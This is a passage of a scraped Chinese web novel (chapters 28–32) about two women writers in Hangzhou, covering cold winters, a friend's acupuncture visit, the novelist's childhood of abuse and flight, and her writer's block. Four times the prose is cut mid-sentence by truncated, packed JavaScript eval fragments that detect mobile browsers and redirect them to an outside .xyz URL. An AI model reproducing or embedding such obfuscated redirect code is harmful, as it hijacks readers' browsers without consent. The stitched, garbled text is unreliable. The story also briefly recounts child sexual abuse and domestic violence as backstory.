唐雨薇把视频发过去后,小萍哭得很伤心,说她只是太想要爱。 看见唐雨薇对我好,连那么贵的包夜买给我,她羡慕又嫉妒,所以才会那样做。 她说唐雨薇能不能原谅她,她可以向我道歉,唐雨薇叹气,在微信上回了一句各自安好,就把她拉黑删除了。 我心想,世上哪有无缘无故的好,小萍只看到了那个包,不知道我肝了好些天,画了好几张贼拉折磨人的横插大场景。 互惠互利才能成为朋友,不然就只能是施舍者和被施舍者。 友谊很温馨,但世界的很残酷。 一个星期就这么恍恍惚惚的过去了,转眼之间双休日又到了。杭州的天气开始转冷,我和唐雨薇不能再露着个后背趴在阳台上晒太阳了。 不能在温暖的阳光下晒我的后背,我觉得非常不舒服。 北方天气干燥,一包薯片放一个星期也不会变软,但杭州就不一样了,有一次我买了一包浪味仙,袋口敞开了一夜忘记了扎紧,第二天再吃的时候脆脆的浪味仙已经变得软绵绵的了,令我大为震撼。 以前总听老一辈的人说什么水土不服,那时候我还不太相信,不就是水和土吗,哪里不都一样? 我从辽宁来到杭州不也好好的吗? 直到杭州的冬天来临,我发现自己还是太天真了。 如果说北方的冬天是一个把你往死里揍的冰冷壮汉,那南方的冬天就是一个总往你被窝里钻的阴湿男鬼。 唐雨薇也觉得不舒服,她说杭州的冬天比上海更加阴冷刺骨,明明她的蚕丝被已经有5斤重了,结果还是会在夜里冻的打哆嗦。 “那你在上海都盖什么被子?” “就盖这个蚕丝被啊,但是上海家里有水暖,多交点电费就能很暖和。” 杭州的这个房子已经买了很多年了,买了之后唐雨薇就没住过,自然也就没有装修,但是空着也麻烦,房子长久不住人很容易坏掉,于是就用一个很白菜的价格租给了一位家居博主。 那位家居博主没想到居然有此等好价,赶紧签了5年长合同,从房子装修到展示各种家居好物,五年来涨了25w粉,如今已经是一个大博主了。 合同到期后这位租户又续约了两年,因为事业遇到了瓶颈期,这位天使租户决定转型,在西湖区买了一个带院子的老破小。 我看过这位租户的账号,那个院子被他打理得非常漂亮,简直就像个小花园,他还养了五只胖乎乎的猫,目前已经36w粉了。 唐雨薇裹着厚厚的珊瑚绒睡衣,幽幽说道:“早知今日,他装修的时候我就该出钱装水暖。” 啊对,我和唐雨薇又买了好几件睡衣,都是珊瑚绒的,穿起来像一只熊,唐雨薇像一只白熊,我像一只棕熊。 尽管穿的如此厚,但码字的时候还是会冻僵手指,为了办公的时候手没那么冷,我们俩又添置了桌面取暖器。 但是这个取暖器使用的时候热风是往脸上吹的,吹着吹着眼睛就开始发干,变得很不舒服,于是只好把这个取暖器放在了桌子底下吹脚。 后来我和唐雨薇又买了可以发热的桌垫,但问题又来了,唐雨薇码字的时候手会放在键盘托上,而我画画的时候手也会放在板子上,除了挨着桌垫的一小节胳膊,手还是会被冻的发僵。 我俩折腾了半天实在没招了,干脆打车杀进了商场,在店里来回体验了半个小时后,扛回来两个小米取暖器。 我们原本想买那个超薄石墨烯的踢脚线来着,但是地区没有货,只好买了小米那款电热炉取暖器。 电暖器一开,屋里变得干燥温暖起来,我好像回到了舒适区,身体轻盈如箭,精神蓬勃饱满,无论是画画还是码字,效率都飞快。 但唐雨薇就不一样了,空气太干燥,她开始流鼻血了。 “我觉得鼻腔要裂开了,”水龙头开着,她站在哗啦啦的水龙头面前洗鼻子,“你们北方人是铁打的么,这么干燥的空气,你的鼻子就没有感觉到一点不舒服?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241830|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我揉揉鼻子,“还好吧,我们北方有暖气,冬天暖气一开,屋子里比这干多了,湿度还不到20%。” “户外呢?” “户外就更干更冷了。” 唐雨薇无法想象,她去过很多个国家和城市,东北自然也去过。她曾经特别迷盗墓笔记,和书友们一起组团去过长白山。 她去长白山那次是秋天,秋高气爽,没有沾到半点儿凛冽的东风。 后来相识的书友们要在冬天去长白山打卡,唐雨薇那会正留学归来在上海养病,扶着拐杖才能勉强走两步,自然没去成。 “那你后来怎么不去了?” “后来身体还是不太好啊,”唐雨薇抽出一张洗脸巾擦着脸上的水,“没法抵御北方的寒风。” 我们俩几乎无话不谈,特别是躺在一张床上的时候,能胡乱聊到晚上两三点,我连自己的存款都和她交待了。 要知道,连我妈都不知道我有多少款啊! 生病之前的唐雨薇特别活泼好动,有着使不完的精力。 她在论坛认识了很多的作者朋友,每天都一起码字扒文,探讨各种写作技巧。 不仅如此,她在初中那会就混迹盗笔和剑三。 “初中的全部课程在初二那年就学完了,每天收集收集错题,找相同类型的练一练,再请家教补一补薄弱的地方可以了,很长时间都没事干。” “我对着镜子,往脑后别着很大的蝴蝶结发卡,来回换各种裙子,踩着夕阳的光辉跑去楼下的咖啡厅里打字,一条条地看读者的回复,再蹦蹦跳跳地回家,裙摆都快飞起来了。” 她写完作业后就在贴吧写各种同人文,成为了圈内知名的产粮大手,还自己掏钱做自印本免费送给圈友。 直到现在,很多人都不知道她们的神仙太太当时只是一个初中生。 她和我说这些的时候,我觉得自己似乎看见了少年时期的唐雨薇,一个明媚快乐的天之骄女。 骄矜,漂亮,优秀,大学霸,各科老师的心头爱,同人圈的产粮大手,一直被围绕簇拥,一直被很多人热烈期盼着。 我觉得她人生实在是太精彩了,轰轰烈烈热热闹闹的,不像我,我的少年时期就像一场漫长的梅雨季,潮湿,阴暗,下着没完没了的雨,每一个深夜都在溺水,任何一点小事都能将我击溃,没有什么人在期待我,也不会有人来拯救我。 我的旧文在已经完结了,新文已经开始更新,但读者寥寥,依旧没什么人期待我写下的故事。 但我依旧会写下去,哪怕还要继续度过很多个无人问津的日子。 我觉得自己应该嫉妒唐雨薇,或者生出点什么寥落的情绪,但我一想到少年时期神采飞扬的唐雨薇,想象着她扎着小蝴蝶发卡,裙摆在太阳下一跳跳的样子,一颗心就像被太阳晒化的棉花糖,软软的,冒着甜滋滋的焦香气息。 29.第 29 章 唐雨薇的月经已经延迟一个月了。 唐雨薇非常焦虑,一旦月经这东西没有来,她身上就会起那种很疼很疼的脓包型痘痘。 说来月经的时候会排出体内的毒素,唐雨薇说这是毒素淤积在体内的表现,我说这不就是内分泌失调吗。 唐雨薇有一个高中同学考上了北京中医药大学,这两人在高中时期非常要好,作为两个资深腐女,她俩经常一起追剧,还互相借阅耽美小说。 这位同学工作在读博,现在是北京中医药大学的一位博士生。 她跟着导师来杭州参加一个学术会议,会议结束后要来看望唐雨薇,听说唐雨薇脸上起了痘,她还把针灸包带来了,说要给唐雨薇针灸。 这位女同学特别有意思,经常能弄到一些很难弄到的资源,手机里都是各种文包和各种小电影的压缩包,唐雨薇看的那些限制级小说和限制级小电影都是这位女同学用蓝牙或者邮箱传给她的。 有一次唐雨薇登上企鹅邮箱,偷偷用电脑看这位女同学发来的小电影,结果那个文件压缩包里有病毒,点开之后电脑的音量自动调到了最大,屏幕上是一堆纠缠在一起的外国男人,刺耳的呻|吟声和 Dirty talk响个不停,怎么关也关不掉。 唐雨薇吓得够呛,把电脑扔浴缸里去了。 我说这位同学可真是个妙人啊! 唐雨薇说道:“确实挺妙的,她还在本子上写耽美小说给我看,说以后要当一个耽美写手。” “哇塞,那她现在是不是也成为某个知名的大作者了!我真是捅了文曲星的窝啊!” “那倒没有,”唐雨薇摇头,“高考之后我们俩说要一起写小说,势必要为耽美文学添砖加瓦,她写了几章小说发到了网站上,但是签约没通过,就逐渐的淡忘了。” 唐雨薇坐在沙发上,沙发前的茶几上竖着一面银色的镜子,她穿着粉色珊瑚绒睡衣,头上戴着一个毛茸茸的粉色发箍,一边往脸上贴祛痘贴一边说道:“但是我的编辑主动签了我,再加上当时有很多读者追文,我就只好写下去了,她就去各个国家玩,国外的时差不一样,她在佛罗伦萨的街头踩到了屎,半夜打电话吵醒我。” 唐雨薇在国外回来养病那年,叶星梦还把她读研时的导师给摇去了,陆陆续续做了大半年的针灸。 我心想,我怎么没有这样的朋友。 当年我去市里上初中时,一个家境不错的女同学向我伸出了橄榄枝,对我很友好,然后让我帮她写裹脚布一样长的作文作业。 好像有些人天生就能嗅到弱者的气息,然后心安理得地去利用和驱使这些弱者。 下午四点钟,门铃响了,一个穿着驼色羊绒大衣戴着黑框眼镜的高个女孩站在门外,身后还背着一个灰色的双肩包。 她嗨了一声,抓住了唐雨薇的手,“这么久不见还是这么漂亮啊!” 唐雨薇的这个高中女同学名叫叶星梦,声线偏低,说话的声音很清朗,比唐雨薇稍稍矮一些。 她看起来真的是非常瘦,比唐雨薇还要瘦一点,所以脸部的线条不算特别柔和,反而有点中性化,总之就是一个气质很文静,长相有点英气的女生。 但她开口说话的时候就不这样了,脱了羊绒大衣之后她仿佛摆脱了某种桎梏,那叫一个飞扬神采口若悬河。 她甚至还拉开了书包,掏出了一个很大的保鲜盒,里面装满了她从会议上顺走的茶歇。 这些茶歇真的都超精致,其中一个点心特别像划了十字的香菇,吃起来一股甜甜的巧克力味。 唐雨薇拿起一块绿色的小点心啃了一口,“连吃带拿,不愧是学术蝗虫。” 唐雨薇是那种一包薯片能吃一个月的人,她拿着小点心左啃右啃,啃了半天,点心只是受了轻微擦伤。 我就不一样了,我饿到极致的时候,连我家猪吃的豆饼都掰下来一小块咔咔啃。 叶星梦说道:“唐唐,你看看人家,我一看就知道她脾胃特别好,你瞧瞧你,舌苔厚滑,舌体边缘有齿痕,面色淡白,月经不调,一看就是脾虚,你肯定还脱发。” 唐雨薇拉着我的手对叶星梦说道:“来吧,看看她的脾胃到底有多么强健。” 叶星梦给我把脉,对唐雨薇说道:“我觉得她能生啃一头猪。” 我已经笑得前仰后合了,唐雨薇也把自己的手伸了过去,叶星梦说道:“你这还是脾虚,脾生血,你最近是不是还睡觉流口水?” 唐雨薇大惊失色,“我的天,这都能看出来!” 叶星梦得意地哼了一声,给唐雨薇开了点药,我看了看,其中居然还有意味杞菊地黄丸。 我愣了愣,说道:“虽然我不懂中医,但地黄丸不都是补肾的吗?” 叶星梦点头,看了看唐雨薇:“对啊,她肾也虚,还是阴虚火旺。” “归脾丸吃多了容易上火,她有点虚不受补,本来想开点知柏地黄丸,但知柏地黄丸太寒凉了,还是杞菊地黄丸温和一点,这两个搭配在一起对肝肾阴虚、心脾两虚的人很有效。” 我说道:“大神医,那你觉得我该吃点什么药呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247505|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶星梦看了看我,说道:“是药三分毒,尽量少内服,你多做眼保健操就行。” 说完之后,她又开始给唐雨薇针灸,我实在是太好奇了,说最近没有睡好,脑袋有点发晕,也央求着叶星梦给我扎了几针。 于是我和唐雨薇的脑袋上都各自顶了几根针,乖乖地坐在沙发上和叶星梦聊天。 当年叶星梦是班级里吊车尾的,也是班级里考的最差的那几个。 唐雨薇高中时的那个班级真的是很恐怖,高考几乎没有低于600分的。 叶星梦虽然考得差(在那个恐怖的班级里),但这些年过得挺滋润。她遇到了一位神仙博导,博导的老婆是一位资深中医,开了一家理疗馆,经常给明星做针灸和推拿,她偶尔会去帮忙,师娘就会给她发红包。 博导的女儿和儿子成绩稀烂,被送到国外镀金,一年顶多回来一次,除了要钱就是要钱,每次回家都是负能量爆棚,怨天怨地怨父母,总之都是负能量满满。 听说也不是很孝顺,像两个白眼狼似的,叶星梦的博导经常说生他俩还不如生两块叉烧。 博导的老婆去医院做囊肿手术,都是叶星梦在跑前跑后,博导摔断了腿打石膏,也是叶星梦忙前忙后,两位几乎把叶星梦当做半个女儿看待了。 就像总能找到各种资源一样,叶星梦就像个情报收集专家,也=总是能知道以前同学们的近况。 比如高中时暗恋唐雨薇的男同学找了个网红结婚,结婚不到半年就开始闹离婚。 比如高中时和唐雨薇很不对付的一个女同学也结婚了,生了个小孩之后又开始闹离婚,经常在朋友圈发一些很emo的文字。 唐雨薇的后桌读完清华之后想去普林斯顿留学,结果被拒了,只好保研,现在在四大做投行。 还有一个同学是北大法学院的,去了香港大学读研,现在在香港做律师。 如果以金钱来衡量一切的话,唐雨薇可以傲视群雄,毕竟没有几个人能在毕业后年就赚到几千万。 很多学生时代的学霸学神一生的高峰也就在拿到名校录取通知书的那一刻了,说起来很残酷,但这就是现实。 须知少时凌云志,曾许人间第一流,但结局往往都是人到洛阳花似锦,偏我来时不逢春。 这个世界上,到底还是失意的人更多。 叶星梦离开后,我问唐雨薇最初的梦想是什么。 唐雨薇愣了愣,过了好一会儿才说道:“你也许很难相信,我当时最大的梦想就是让我妈和我的继父离婚。” 30.第 30 章 唐阿姨生下唐雨薇的时候还没成年。 唐阿姨从小就长得特别漂亮,十里八乡出了名的美人,经常有人站在她家门口,就为了看她几眼。 唐阿姨十六岁那年,一户人家愿意出很高的彩礼娶她,唐阿姨的父母就着急忙慌地把她嫁了,卖了一个很不错的价钱。 结婚一年后,唐阿姨生下了唐雨薇。 生下唐雨薇的第八天,唐阿姨做了个噩梦,梦见唐雨薇被水淹死了。 她被这个梦吓醒,醒来之后伸手一摸,发现身边的孩子不见了。 唐阿姨跳下床,疯了似的跑到了水缸前,掀开了水缸盖子一看,唐雨薇正泡在水缸里,眼看着就要沉底了。 唐阿姨的公公老年痴呆,时不时犯糊涂,她婆婆就说这事是公公干的。 但唐阿姨担惊受怕,再不敢让孩子离开身边半步,夜里睡觉也不敢睡太沉,总是突然惊醒,然后赶紧摸一摸身边的唐雨薇。 唐雨薇是一个非常漂亮的小女孩,长得粉雕玉琢的,四岁那年,唐阿姨的公公总是扒唐雨薇裤子。 唐阿姨把这件事和她的老公说,结果被她老公扇了好几个耳光。 唐雨薇从小就长得特别漂亮,有一天一帮人干完农活在一起闲聊,唐阿姨在厨房炒菜,端菜的时候就听一帮男人说唐雨薇出落的比唐阿姨还漂亮。 唐雨薇的亲生父亲喝了几两白酒,比比划划地拽着哇哇大哭的唐雨薇,说不打算让唐雨薇读书,长大了让她去地里帮家里头干农活,养到十五六岁正好把她嫁出去换一笔彩礼,给将来的儿子娶媳妇用。 唐阿姨听得特别绝望,一边炒菜一边掉眼泪。 唐雨薇四岁那年,那男的做生意欠了好多钱,要把唐雨薇卖掉,唐阿姨就抱着唐雨薇跑了。 中途没有路费,唐阿姨还在别的城市打了一段时间的零工,她不敢离开幼小的唐雨薇,就接那种可以在家干的零活,用毛线织那种绒花,两毛钱一朵。 来到上海那年,唐雨薇已经5岁了,唐阿姨租了个小房子,去做服装销售员,晚上还要去KTV里卖酒水。 唐雨薇一个人在家里玩积木和拼图,都是唐阿姨从外面捡回来的。 唐阿姨还花二十块钱在二手市场买了一个可以放影碟的小电视,给唐雨薇看幼儿启蒙的教学课。 那些碟片有教小孩子识字的,有教小孩子学算术的,还有教小孩子学英文的,还有一些浅显的物理化学小知识。 唐雨薇自己在家看碟片,看了整整两年。 然后唐阿姨就在KTV里遇见了一个比较有钱的男人,大她十二岁,家里有点背景,是做服装生意的。 他父亲老年失能,母亲身体也不好,就想找个老婆照顾家里,他觉得唐阿姨做事干脆利落,人又吃苦耐劳,就把唐阿姨娶回家了。 唐阿姨和他在一起后,他帮唐阿姨和唐雨薇弄好了上海的户口,唐雨薇七岁那年,背着她的小书包开始上小学了。 唐阿姨一开始还怕唐雨薇跟不上,因为唐雨薇连幼儿园都没上过,后来才发现唐雨薇最不让人操心的事情就是学习。 她有一颗非常聪明的小脑袋瓜,学什么东西都不吃力,做卷子就像喝水一样轻松。 随着岁月增长,再漂亮的女人也看腻了,唐阿姨和他的婚姻就不那么幸福了。 这个不幸福,唐雨薇一笔带过,没怎么细说。 她不说,我肯带要有点眼色,不会再继续问下去,总之那段日子里,唐阿姨过得很苦,唐雨薇也不是很开心。 看着唐雨薇如花似玉的脸,其实我也能猜到一点。 毕竟我这个略有姿色的人,还被我的继兄偷过内裤呢,更何况唐雨薇这种极有姿色的人。 我的心有点发沉。 唐雨薇自己是不记得小时候的苦日子了,回忆起童年,她的世界里全都是五颜六色的积木和各种有趣的碟片,她觉得在趴在地上拼积木很有趣,从小孩子的视角看,那些玩具就像一个花里胡哨的童话世界。 她从小情绪平稳,很少大吵大闹大哭大叫,也没什么雄心壮志,最豪情壮志的一次莫过于和叶星梦高喊着要为耽美文学添砖加瓦的那一刻。 更多的时候,唐雨薇都希望她和妈妈都能够幸福地在一起。 唐雨薇问我:“你呢,你年少时有没有特别宏大的理想?” 我说道:“我年少时最宏大的理想就是考上一个好大学,上初中那年我不知天高地厚,说自己想上哈佛,结果被班上的同学嘲笑了半天。” 唐雨薇说道:“这有什么好嘲笑的,不就是上个哈佛么,又不是成为百亿富翁。” 不就是上个哈佛么...... 这话也只有唐雨薇能说出来。 我顿了顿,幽幽说道:“如果当时我说自己要成为世界首富,他们也许就不会嘲笑我了。” 穷人家的孩子不会更成熟,相反,大部分出身穷苦的人都很傻很天真,对世界的认知很有限。 我的初中同学们,哪怕出身于十八线小城镇,他们也知道出国留学要多少钱,家里的资源能够支撑他们走到哪里,未来的自己会走多远。 而不像那个时候的我,对世界上的很多东西都要依靠想象,有一种很盲目的勇敢。 唐雨薇拍了拍我的肩膀,“那有什么不好的,认真说出自己的愿望哪里不好了,不能勇敢面对内心欲望的人才是真正的懦弱,难道就比盲目的勇敢要好么?” “不过你为什么想上哈佛?” 说起这个,我又有点不好意思了,尬笑着说道:“当时不是有一本特别火的书么,叫什么哈佛女孩,我和我妈晚上逛街,路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260539|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过书摊的时候她花十块钱给我买了一本,我看得很痴迷。” “哦,就是让女儿握冰锻炼意志力和专注力的那本书么?”唐雨薇笑了,“我当时觉得好傻好好笑啊,还和同学吐槽。” “其实看到这里,我也挺疑惑的,”我清清嗓子,“我们东北冰天雪地的,整个冬季都与冰雪为伍,总不能说我们东北人的专注力和意志力比其他省份的人强吧?” 哪个东北小孩没玩过雪玩过冰啊,零下30度的天气还在冰上打出溜滑儿,摔得一个跟头接一个跟头的。 不过我这种乡下女孩确实眼界有限,特别是在那个信息很不发达的时代,很多东西都是从书上看到的。 小学做数学题,总能在卷子上看到什么少年宫,计算来小明/小雪/小红总是走多少米再倒回来然后再倒回来再走回去,跟抽疯似的,我就得咬着铅笔头,抓耳挠腮地计算他们来回的路程。 当时没有什么搜索引擎,我连手机也没有,想了半天也不知道少年宫是什么,还和我妈说这少年宫是什么破地方,这帮人非得这么走么? 还有个神经病,一边给游泳池放水,一边给游泳池抽水,然后计算游泳池多长时间才能被灌满水。 后来我去市里上初中,说是市,其实就是一个十八线小城镇,班上全是市里的同学,从乡下转学来的学生也就七八个。 乡下来的学生很好辨认,一个个都又黑又土的,无论男女,总是非常黯淡。经常有乡下学生受欺负,被人堵在厕所里扇耳光。 我初中时成绩还不错,有时候能考进学校前十,所以没怎么受欺负,但我的成绩大多都是靠透支自己的睡眠时间换来的。 尽管我很不想承认自己智商一般,然而事实就是如此,数学这玩意我怎么也学不会,每次上数学课都特别绝望。 但我的绝望唐雨薇是不太理解的,她觉得数学很难,只有绝顶聪明的人才能这个领域做出点成绩出来,但初中高中的数学实在太简单了,没什么需要费脑子的地方,语文才是最让她头疼的东西。 啊对,谁会想到靠写文年入百万甚至上千万的大作者居然经常为语文作文而头疼呢。 我觉得不可思议。 唐雨薇说道:“这有什么不可思议的,我经常幻想两个男人在一起做|爱,但这不代表我喜欢和男人做|爱啊。” 我拉长了声音:“啊......?” “我的爱都是给二次元男人的!”唐雨薇敞开怀抱。 “至于三次元的男人,”她顿了顿,“只会给我留下阴影。” 我可能脑子瓦特了,下意识问道:“那三次元的女人呢?” “三次元的女人?” 唐雨薇有点惊讶,伸手捏我的脸,捏着捏着她就笑了,眼睛弯弯地说道:“那还是有点可爱的。” 31.第 31 章 杭州的冬天冰冷刺骨,我和唐雨薇都开始赖床。 被窝实在是太暖和了,怎么会有人舍得离开温暖的被窝呢,我躺在被窝里,抱着我的白色大熊揉来揉去,舒服得感觉自己快要融化了。 睡了一觉又一觉,直到我妈给我打视频, 我妈一大清早就去公园散步,把手机拿到外面给我看家乡里的雪景。 昨天晚上我家那边下了雪,凌晨的时候又起了雾,树上挂满了雾凇,真是千里冰封万里雪飘。 我哇了一声,好像能透过屏幕嗅到家乡寒冷的空气,整个人忽然就精神了。 公园里有许多人在散步,都穿着厚厚的羽绒服,几个五颜六色的小孩子从雪白的树下面跑过来,脑袋上戴着厚厚的绒线帽,你追我赶的,发出一串串清脆的笑声。 两个穿着黑色貂皮大衣的阿姨手挽手从我妈身边走过,还透过屏幕看了我一眼。 我妈说道:“你那边下雪了吗?” “现在还没有下雪,”我掀开了被子,寒冷的空气化作利刃,无声地刺向我,我狠狠打了个哆嗦,赶紧把我新买的嫩绿格小毯子给披上了。 走出次卧,我发现主卧的门没有关严,漏了一道一掌宽的缝隙,唐雨薇正躺在床上玩手机。 听见脚步声,她朝我看过来,我朝她比了个剪刀手,拿着手机走进了厨房。打开冰箱拿出一盒燕麦奶倒进小奶锅里加热,又拆开了一袋新的咖啡,准备做两杯热乎乎的燕麦拿铁。 我妈又提到了刘执玉,说刘执玉完成了一个项目,得到了很多奖金。 我不太懂it界的事,也不太懂刘执玉在做些什么,当然我也并不关心。 我打着哈欠你这冰箱啃面包,我妈再一次强调:“刘执玉这孩子真的挺好的,没啥缺彩的地方。” 我敷衍点头,“嗯嗯嗯,对对对,学习好,性格好,长得也还不错,这些我都知道,你不用做我的工作,你也得看人家能不能看中我,别在这剃头担子一头热。” 我妈在屏幕那头瞪了我一眼:“男追女隔道墙,女追男隔层纱,你就主动点呗,超市里的新鲜鸡蛋还得抢呢,好男人难道不用抢吗?” 我朝她挑挑眉毛:“妈,你这就是没有点自知之明了,那刘执玉的朋友圈都不对咱俩开放,防咱俩跟防贼似的,还隔层纱,一看是隔着一层10万伏的高压电网吧。” 我妈又开始无奈的叹气。 刘叔那个卖农药化肥种子的店到冬天基本上是没有什么人来的,他和我妈清闲的很,人一闲下来就特别容易管闲事儿,具体表现为催婚。 刘叔催刘执玉,我妈催我。 我妈觉得一个女人要是25岁之前嫁不出那就基本没戏了,这是择偶的黄金时期,一定得抓住。 我说25岁这个年纪干啥不是黄金时期,哪怕是捡垃圾都比别人捡的多,非得嫁人生孩子啊,她又开始和我生气了。 何况我现在只有22岁,我觉得自己都还是一个孩子呢,根本不想和男的生孩子。 我妈又开始叹气,奶锅里的燕麦奶已经开始沸腾了,我和我妈友好地结束了视频通话。 我做了两大杯燕麦拿铁,咖啡的香气飘荡在厨房里,好像是一个温馨的欢迎仪式,告诉我们又迎来了新的一天。 唐雨薇很陶醉的深吸了两口气,对我说道:“生活很美好,是不是?” “美好美好,特别美好,我亲爱的大作家,快把咖啡端到餐厅去吧,我再烤一下面包。” 面包是在甜品店买的桑葚乳酪核桃包,馅料非常足,不是特别甜,烤一下会更好吃。 热腾腾的烤面包新鲜出炉,我们俩喝着咖啡啃着面包,讨论最近的热梗和榜单上比较有新意的文。 说着说着唐雨薇话音一转:“我有一本书要出版了,出版社说我可以推荐喜欢的画手,你有接商稿的打算吗?” 我瞬间就精神了。 “当然有!”我铿锵有力地说道,随后开始尖叫起来。 唐雨薇做了个扶额苦笑的动作,“真是的。” 她最近很是沉迷霸总文学,最近有一个免费阅读平台崛起了,里面都是这种霸总文学,各种追妻火葬场。虽然很多人都说这是土狗文学,但唐雨薇觉得这里面的节奏非常好,有值得借鉴的地方,于是熬夜看了好几本。 但这些书都有一个特点,就是很长很长很长很长,开头惊艳十足,钩子和伏笔都埋的恰到好处,但写着写着就像又长又臭的裹脚布。 开头女主怀孕,准备和男主离婚,独自带球跑,经常看小说的都知道,女主的第一个孩子往往留不住,因为这是虐心虐身情节的重要道具。 唐雨薇看到了200章,女主终于流产了,追妻火葬场才刚开了个头。 我疑惑:“那你前200章都在看什么呢?” 唐雨薇幽幽说道:“我在看还能有多离谱。” 她看了200多章女主被虐身虐心的情节后实在看不下去了。 我打趣:“才看到一点追妻的曙光你就放弃了?” “我也以为我看到了曙光,谁知道下一章男主把女主给囚禁了, wtf!” “然后他们开始疯狂做恨?” 正在吃面包的唐雨薇似乎被噎了一下,“我觉得我浪费了宝贵的生命。” 我又开始笑了。 其实现在的网文市场没有什么特别好的作品出现了,文笔更是跟以前的古早大神比不了,差了不止一个档次。 短视频的冲击下,大家都没有什么耐心去读那些稍微深奥一点的文字,有些人甚至都没有耐心将一条10分钟的视频看完。 就连汤雨薇在写文的时候,也不得不顾及一部分下沉市场,将自己的文字变得更加简练直白,并且加入大量的网络热梗。 她还告诉我写文的时候一定要注意分段,段落尽量短小,一定不要出现大片的段落,因为看惯了短视频的读者们会觉得很烦。 我一一听着,谨遵教诲,吃完早饭就开始兢兢业业地写文。 创作是有倦怠期的,小说作者的热情也会在键盘的咔哒声中逐渐消退。 我新文刚开不久,虽然没有什么人看,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260540|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我依旧还保留着创作者的热情和期待。 但唐雨薇就不一样了,哪怕每天稿费收入过万也抵消不了她飞速消失的热情,写文对她来说逐渐成为了一项沉重的负担。 明明大纲设置的好好的,人设和细节也做得很到位,甚至连每个副本的起承转合大小高|潮点都详细写出来了,但她就是有点写不下去了。 她说是自己的心力出现了问题,找不到感觉,正机械而疲惫的将文章推向无聊的高|潮。 我去看了,她新章节里的文字确实差了那么一点感觉。 有时候文字就是这么奇怪,明明是用一个个类似于小方块的文字组成的,但是你可以在其中看到创作者的思想和情感,也能窥见一丝创作者在这段时间里的状态。 不只是我,唐雨薇的读者也在评论区说新章节越来越水,越来越没意思,攻受之间的互动像两个毫无感情的机器人,感情戏尴尬得让人抓耳挠腮。 唐雨薇变得很消沉。 这时候也没有更好的办法,只能出去逛一逛。 我俩又去了西湖吃茶点。 冬天的西湖,是一场褪去喧嚣后归于清冷诗意的水墨长卷,留白很多,湖面与天空呈现一种灰白淡蓝的基调,湖面上还笼罩着一层薄薄的雾气。 人少了,但鸟很多,大概都是从北方飞过来越冬的鸟儿。 小鸟的身体那么小,是怎么从遥远的北方飞到南方的,这是一场多么漫长的旅途啊。 小学那年读过一篇文章,大意是一艘轮船行驶在海面上,天空上正好飞来一群去南方过冬的燕子,茫茫大海没有可以歇脚的地方,燕子们见到这艘轮船就像雨点一样落下,全都停下来歇脚。 等燕群再一次飞起来的时候,甲板上留下很多燕子,这些燕子都已经累死了,死在了漫长的迁徙中,死在了到达目的地之前。 其实比起鬼片,我最害怕的是动物世界,那种优胜劣汰看得我很难受。 唐雨薇看着远处被雾笼罩的湖面,声音发飘地问我:“薇薇,你说我写作生涯的黄金期是不是已经过去了,我是不是江郎才尽,再也写不出什么好东西了,大自然都是优胜劣汰的,网文行业也是大浪淘沙,你说我是不是被后浪拍死的前浪啊?” “你在胡说些什么啊,还珠格格是琼瑶阿姨59岁那年写的,三体是刘慈欣42岁那年开始写的,活着是余华32岁那年写的,你现在才25岁啊!你要不要看看你在说什么!” 唐雨薇沉吟了一会,点头说道:“也是啊。” 她心情肉眼可见地变好了。 我也觉得她发发牢骚就过去了,从西湖回到家里以后,我们俩还订了大杯的霸王茶姬,坐在沙发上吨吨吨一通乱喝。 大杯的霸王茶姬让我失眠了,我将近凌晨一点才睡着,睡了不到两小时又被尿憋醒,只好叹了口气,不情不愿地下床。 走出次卧,我刚要推开卫生间的门,忽然听到一阵哭声从主卧里传了过来。 那一刻我以为自己撞鬼了,一阵觳觫,愣了两秒才反应过来,那是唐雨薇在哭。 32.第 32 章 我犹豫了一会,不知道在这种时候敲门还是不敲门。设身处地的思考一下,我狼狈的时候是肯定不希望别人看见的。 因为写不出令自己满意的文字而在半夜哭泣这种事还是有点超出我的认知了。 